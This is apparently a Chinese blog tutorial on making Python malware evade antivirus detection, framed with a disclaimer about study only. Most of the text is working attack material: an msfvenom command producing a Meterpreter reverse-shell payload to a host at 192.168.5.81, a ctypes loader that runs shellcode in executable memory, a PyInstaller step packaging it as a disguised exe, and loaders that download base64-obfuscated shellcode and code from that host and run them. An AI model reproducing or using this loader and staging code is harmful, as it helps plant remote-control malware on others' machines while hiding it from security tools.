Python免杀技术：探索爱与恨的边界

深入探讨Python作为热门编程语言之一，如何运用免杀技术。本文旨在学习和研究，强调反对一切危害网络安全的行为。

正文：

免杀一直是红队和蓝队关注的焦点，各种绕过技术层出不穷。作为当今热门的编程语言之一，Python也在这场较量中发挥着重要作用。

基于内存的免杀

首先，我们在msf中生成Python的shellcode：

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.5.81 LPORT=5555 -f python -o 33.txt

然后，我们通过以下代码在内存中执行shellcode：

import ctypes # 读取shellcode with open(“33.txt”, “rb”) as file: shellcode = bytearray(file.read()) # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 将shellcode复制到内存中 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) # 创建线程执行shellcode handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 等待线程执行完毕 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

打包成exe

考虑到不是所有目标主机都有Python环境，我们可以将Python脚本打包成exe文件：

pyinstaller -Fw -i tomcat.ico –key=dabiaoge biao.py

免杀测试与混淆

测试免杀效果时，可以使用360云查杀等工具。为了增强免杀效果，可以对shellcode进行混淆，如Base64加密。

import ctypes, urllib.request, codecs, base64 # 下载加密后的shellcode shellcode = urllib.request.urlopen(‘http://192.168.5.81/33.txt’).read() shellcode = base64.b64decode(shellcode) shellcode = codecs.escape_decode(shellcode)[0] # 执行shellcode # 省略部分代码…

主程序加密与打包

最后，我们对主程序进行加密和混淆，并打包成exe文件：

import pickle, urllib.request, base64 # 下载加密后的代码 sectr = urllib.request.urlopen(‘http://192.168.5.81/44.txt’).read() sectr = base64.b64decode(sectr).decode(“utf-8”) # 解密和执行代码 # 省略部分代码…

在实际工作中，切勿运行不明来源的工具和软件，保持网络安全意识是至关重要的。

结语：
无论是基于内存的免杀技术还是打包成exe的方式，都是在利用加密、混淆等手段绕过安全检测。在网络安全工作中，持续学习和更新是必不可少的。